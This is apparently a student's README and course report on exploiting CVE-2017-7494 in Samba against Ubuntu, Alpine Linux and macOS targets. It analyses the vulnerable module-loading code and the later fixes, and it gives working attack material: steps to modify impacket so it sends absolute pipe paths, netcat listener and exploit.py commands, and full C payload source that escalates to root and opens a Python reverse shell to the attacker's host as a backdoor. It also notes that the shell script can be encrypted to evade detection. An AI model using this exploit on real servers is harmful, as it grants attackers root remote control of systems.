Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on Linux.
Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS.
This bug is workable on both macOS and Linux.
Before exploit, you need to download dependencies.
/bin/bash install_requirement.sh
One of the most important dependencies is the impacket package for python. It make smb connection works.
However, in order to construct a valid request that make the samba server load our malicious module, we have to modify the original impacket.
The installation install_requirement.sh installs a modified version (modified by me) so you do not have to worry about that and you are not need to do any manual modification.
However, if you want to use some newer version or another version of impacket, you have to modify that package by yourself.
Goto
impacket/impacket/smb3.pymodify line 11154 and comment following two sentences:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
To exploit target, you need open two terminals. One use netcat to interact with the reverse shell, the other is used to exploit the BUG.
Usage:
#First terminal use nc to get reverse shell
$ nc -p 23333 -l
# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
If the target is macOS, you should not to compile the module on Linux! As gcc do not support MACH-O format. If you are a mac user, macOS payload compilation works.
A precompiled version is in the directory. The mac_payload.so.
Use -m flag to make exploit.py know you will use a customized payload.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
A detailed process would be post in Chinese as my final assignment. If you understand Chinese, it would be fine for you. :)
—— CVE-2017-7494 Attack Report
EternalBlue caused great damage in 2017, exploiting the Windows SMB mechanism for worm attacks. SMB is a service running on Windows that allows file sharing and remote procedure calls (RPC) between different hosts. Perhaps it is precisely this nature that often makes it a target for hackers.
Vulnerabilities in the operating system kernel itself should be relatively rare – even for Windows. The problems usually come from various services running on top of the operating system. They do not have the same strict, rigorously tested code as the OS, yet they run with high privileges, creating many opportunities for malicious exploitation. So can we compromise the entire system by attacking high-privilege services on the OS, rather than attacking the underlying components of the OS itself? A standalone OS is just a kernel that can do nothing; it only provides diverse functions by running various system services. Many system services require administrator privileges to run (as daemons). Therefore, compromising such a high-privilege service naturally grants administrator privileges on the system, thus compromising the entire OS.
Finally, I found an exploitable vulnerability in Samba, the open-source implementation of SMB – CVE-2017-7494. Similar to Windows, hackers can obtain administrator privileges of the operating system through Samba's remote procedure call, thereby creating an opportunity to build a worm to attack the network.
The Linux kernel has long been known for its security due to open source; macOS, as a niche system, often gives a false sense of security because there are few viruses targeting it. Therefore, this experiment will attack macOS and several different Linux distributions to demonstrate the vulnerability of operating systems – no matter how "secure" an OS design appears, it can be compromised in any situation due to a small application vulnerability.
Since Samba is equivalent to SMB, it is also called "Linux EternalBlue". However, I believe there are essential differences between the two from a technical perspective:
The vulnerability mainly comes from the call to smb_probe_module() in the function bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) in source3\rpc_server\srv_pipe.c:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// Here is the problem
status = smb_probe_module("rpc", pipename);
....
}
The upper-level function np_open() is a control module that calls is_known_pipename() after checking the RPC service request. is_known_pipename(), as the name suggests, is used to determine whether a remote pipe is registered. However, after Samba 3.50, a new feature was introduced: loading dynamic modules by calling smb_probe_module(). This vulnerability exploits this module loading function to call a malicious module constructed by us.
The call chain for loading rpc pipe modules is:
is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()
Between Samba 3.5.0 and Samba 4.6.3, the function do_smb_load_module() is reused by smb_probe_module() for loading RPC modules and by smb_load_module() for loading its own modules. smb_load_module() is used to load some known modules, intended for internal calls to extend Samba's own functionality, such as VFS modules. smb_probe_module() should mean loading possible modules, possibly from RPC requests.
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
To be reused by these two functions with very different origins (although I believe these two modules should absolutely not reuse the same function), do_smb_load_module() implements two ways: "load a module within the SMB subsystem by parsing the request" and "load a module by absolute path".
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
// Comment on the comment: If the incoming path comes from smb_probe_module(), which should not provide an absolute path, but smb_probe_module() gives an absolute path, this check will be invalid. This is the principle of this exploit.
if (subsystem && module_name[0] != '/')
{
// Originally should go into the subsystem, convert SMB subsystem to absolute path
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem), module_name, shlib_ext());
...
}
else
{
// But it directly loads our constructed absolute path, goes here
init = load_module(module_name, is_probe, &handle);
// Thus init makes a module for a "non-existent pipe" use the module from the absolute path
}
// Then directly calls the malicious code
status = init();
...
}
Since do_smb_load_module() does not know whether the path submitted by the upper-level function comes from smb_load_module or smb_probe_module, it creates a possibility for us to construct a fake request: turning "loading a module inside the subsystem" into "loading a module from an absolute path". If this absolute path module happens to be a predefined malicious module, the exploit succeeds.
Conveniently, as a protocol supporting file transfer, we can easily upload our malicious module via Samba. At the same time, DCE requests also support querying absolute paths. With these two factors, we can easily exploit do_smb_load_module() to load the malicious module from the absolute path.
The exploit principle diagram:

In later versions, Samba fixed this vulnerability, mainly by enhancing the inspection of pipe names in RPC requests.
The first fix was in is_known_pipename(), using strchr to detect whether the pipe name contains /. If it does, it means loading a Linux path, which should be prohibited.
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
// Added this line to detect and prevent requesting a module with absolute path
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
The second fix was in smb_probe_module() (according to git records, added around version 4.70). Compared to the original simple direct call to do_smb_load_module(), more refined rules were added:
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
...
// Second absolute path check
if (strchr(module, '/')) {
status = NT_STATUS_INVALID_PARAMETER;
goto done;
}
....
done:
TALLOC_FREE(tmp_ctx);
return status;
}
Another layer of defense was added. Additionally, the module loading functions were more finely differentiated: the original smb_probe_module() and smb_load_module() were split into smb_probe_module(), smb_load_module(), and smb_probe_module_absolute_path() to strengthen detection of malicious module paths.
The Linux target machines in this experiment use different Linux distributions – Ubuntu and Alpine Linux – using Docker to set up Samba servers with versions between 3.5.0 and 4.6.3. Samba runs as the smbd daemon.
Alpine Linux is a recently emerged Linux distribution known for being "lightweight" and "secure." Unlike common Linux distros, it does not use glibc but musl libc as the C runtime environment, and uses the special busybox command-line tools. Generally, common Linux software cannot run on it without recompilation or code modification. This easily leads to the misconception that "attacks against Linux using GNU libraries cannot work on Alpine Linux."
Additionally, this experiment also includes an attack on macOS – another system prone to misconceptions. macOS is a system without active security defenses, but due to few targeted attacks, the mainstream view tends to believe "macOS has no viruses."
Through this experimental setup – attacking multiple different systems using a non-buffer-overflow programming logic vulnerability – we reveal the facts:
Samba on Linux is quickly deployed using Docker. Find suitably old versions on Docker Hub. Ubuntu's Samba comes from rootlogin/samba, Alpine Linux's Samba from servercontainers/samba:4.6.3. Set up the container's shared path.
The macOS version used is 11.3 Big Sur.
Since macOS is rarely used as a server, there is no precompiled old Samba version available for installation, so we need to compile an old version of Samba ourselves.
Use:
git clone https://github.com/samba-team/samba.git
Pull Samba and use git checkout to revert to version 4.6.3.
Based on records from 11811 – compile error on Mac OS X 10.11 error: field has incomplete type 'struct timespec' LOADPARM_EXTRA_LOCALS (samba.org) and [11984 – failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text= It can be,param%2Floadparam.h), there are compilation issues for Samba on macOS. Although later versions fixed them, for the old version you need to manually apply compilation patches:
curl -fsSL https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -
Also add #include <time.h> as a header in lib/param/loadparm.h.
After resolving all dependencies required for compilation, compile, install, and run the macOS version of Samba.
This experiment uses python to attack the target, using the impacket package for SMB operations.
The general attack flow:
The payload's main functions:
Thus gaining remote control of the server.
Code:
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
static void CreateReverseShell()
{
pid_t pid;
pid = fork(); // Use subprocess to detach the main samba process
if (pid == 0)
{
umask(0);
chdir("/");
execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Use python to create TCP connection and setup reverse shell
}
}
#ifdef __linux__
extern bool become_root(void);
#endif
// When Samba load modules, it automatically call this function as entry point
int samba_init_module(void)
{
// Character: YOU ARE HACKED
printf("__ __ ___ __ __ __ __\n\\ \\/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /\n \\ / __ \\/ / / / / /| | / ___/ _ \\ / /_/ / __ `/ ___/ //_/ _ \\/ __ / \n / / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ / \n/_/\\____/\\__,_/ /_/ |_/_/ \\___/ /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/ \n");
#ifdef __linux__
become_root();
#endif
CreateReverseShell();
return 0;
}
printf outputs the string YOU ARE HACKED:
__ __ ___ __ __ __ __
\ \/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /
\ / __ \/ / / / / /| | / ___/ _ \ / /_/ / __ `/ ___/ //_/ _ \/ __ /
/ / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ /
/_/\____/\__,_/ /_/ |_/_/ \___/ /_/ /_/\__,_/\___/_/|_|\___/\__,_/
For entertainment.
become_root() is a function from Samba, declared with extern for convenience.
become_root to enter the reverse shell as root. Also, currently on Apple systems, extern may not work, causing linker issues. The reason is unclear, so ifdef is used to avoid macOS.The function CreateReverseShell() detaches the reverse shell process from the main process to achieve a backdoor effect.
This reverse shell payload uses Python to create the connection, using execl to execute a Python script instead of a C version, for the following reasons:
execl.eval() function. By encrypting the reverse shell script, decrypting it at runtime, then calling eval() to execute the malicious payload, we can evade detection by security systems mentioned in point 1.
The macOS version of the malicious payload must be compiled using macOS's clang, because Linux's gcc does not support the MACH-O format. No need to specifically specify the .dylib suffix for macOS; it can be compiled using the .so suffix.
The Python attack script uses Python 3.7 as the runtime environment, with the following flow:
At the entry point, Options are parsed. When the user provides a precompiled module, it uses the existing module without recompilation; otherwise, it compiles a new module using the lhost and lport parameters to have the reverse shell connect to the attacker.
Since we are using a malicious path, we need to modify the original impacket package to allow the Samba server to make the required request.
In impacket/impacket/smb3.py, comment out the two statements on line 11154:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
To enable loading of a "malicious module from an absolute path."
The remaining steps – login, file upload, and loading the malicious module – are all provided by the impacket package, so no further details are given.
Before the attack, use netcat to listen for the reverse shell:
nc -p 23333 -l
Then run:
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so
This will automatically execute the above Python script, and from the netcat window, you will get a reverse shell with root privileges, gaining remote control of the server.
Attack on Ubuntu:

Attack on Alpine Linux:

Attack on macOS:

Breaking into macOS from Windows and executing a script:

scanf_s, strSafe, or "languages that are hard to buffer overflow" cannot solve all problems; maliciously exploitable vulnerabilities can appear in any unexpected place.